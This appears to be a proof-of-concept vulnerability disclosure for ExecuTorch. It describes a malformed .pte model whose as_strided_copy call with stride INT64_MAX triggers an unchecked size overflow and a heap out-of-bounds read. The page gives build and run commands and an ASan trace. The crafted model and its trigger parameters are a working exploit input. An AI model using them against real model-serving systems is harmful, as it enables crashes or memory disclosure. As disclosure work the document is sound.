Views
No views yet
executorch_as_strided_oob_read_poc.pte - malformed model file. Loading succeeds; executing forward triggers the bug under ASan.benign_as_strided.pte - control model exported from the same source before mutation.export_mutate.py - reproduces the export and single-field mutation.run_pte.py - small Python runtime smoke runner.asan_trace_executor_runner.txt - ASan output from running the malformed PTE through ExecuTorch executor_runner.benign_executor_stdout.txt / benign_executor_stderr.txt - control run output.1benign_as_strided.pte
2SHA256 d36dade687fab3936ef64843a6753ca7f033dd1513372eca36a9a8d5f7fa67b0
3
4executorch_as_strided_oob_read_poc.pte
5SHA256 0e326ce82365dfc27632e65f46502372afd974cf4f822d31c299032b0da5326baten::as_strided_copy.out with:1size = [2]
2stride = [INT64_MAX]
3storage_offset = 0kernels/portable/cpu/util/copy_ops_util.cpp computes required storage size with unchecked arithmetic:1size += strides[i] * (sizes[i] - 1)
2size *= itemsize_bytescheck_as_strided_copy_args() accepts the request. Execution then reaches _as_strided_copy() in copy_ops_util.h and dereferences an input pointer advanced by the attacker-controlled stride.pytorch/executorch commit:f5acbdb00ebc5cf06258bdadc5bab829396673661git clone https://github.com/pytorch/executorch.git
2cd executorch
3git checkout f5acbdb00ebc5cf06258bdadc5bab82939667366
4git submodule update --init --recursive third-party/json third-party/gflags third-party/flatbuffers third-party/flatcc backends/xnnpack/third-party/FXdiv backends/xnnpack/third-party/cpuinfo backends/xnnpack/third-party/pthreadpool
5
6python3 -m venv ../et-venv
7source ../et-venv/bin/activate
8python -m pip install --upgrade pip
9python -m pip install torch executorch flatbuffers
10
11cmake -S . -B cmake-asan-runner -G Ninja \
12 -DPYTHON_EXECUTABLE="$PWD/../et-venv/bin/python" \
13 -DCMAKE_BUILD_TYPE=Debug \
14 -DCMAKE_CXX_FLAGS="-fsanitize=address -fno-omit-frame-pointer" \
15 -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
16 -DEXECUTORCH_BUILD_EXECUTOR_RUNNER=ON \
17 -DEXECUTORCH_BUILD_EXTENSION_RUNNER_UTIL=ON \
18 -DEXECUTORCH_BUILD_EXTENSION_DATA_LOADER=ON \
19 -DEXECUTORCH_BUILD_EXTENSION_EVALUE_UTIL=ON \
20 -DEXECUTORCH_BUILD_KERNELS_OPTIMIZED=OFF \
21 -DEXECUTORCH_BUILD_KERNELS_QUANTIZED=OFF \
22 -DEXECUTORCH_BUILD_KERNELS_LLM=OFF \
23 -DEXECUTORCH_BUILD_XNNPACK=OFF \
24 -DEXECUTORCH_BUILD_CPUINFO=OFF \
25 -DEXECUTORCH_BUILD_PTHREADPOOL=OFF \
26 -DEXECUTORCH_BUILD_TESTS=OFF
27
28cmake --build cmake-asan-runner --target executor_runner -j21ASAN_OPTIONS=detect_leaks=0:abort_on_error=1 \
2 ./cmake-asan-runner/executor_runner \
3 --model_path ../hf_upload_as_strided_pte/benign_as_strided.pte \
4 --method_name forward1Model executed successfully
2OutputX 0: tensor(sizes=[2], [1., 1.])1ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1 \
2 ./cmake-asan-runner/executor_runner \
3 --model_path ../hf_upload_as_strided_pte/executorch_as_strided_oob_read_poc.pte \
4 --method_name forward1ERROR: AddressSanitizer: heap-buffer-overflow
2READ of size 4
3_as_strided_copy<float>
4kernels/portable/cpu/util/copy_ops_util.h:39
5torch::executor::native::as_strided_copy_out
6kernels/portable/cpu/op_as_strided_copy.cpp:51
7executorch::runtime::Method::execute_instruction
8runtime/executor/method.cpp:1472
9executorch::runtime::Method::execute
10runtime/executor/method.cpp:1758asan_trace_executor_runner.txt contains the full trace from the tested run.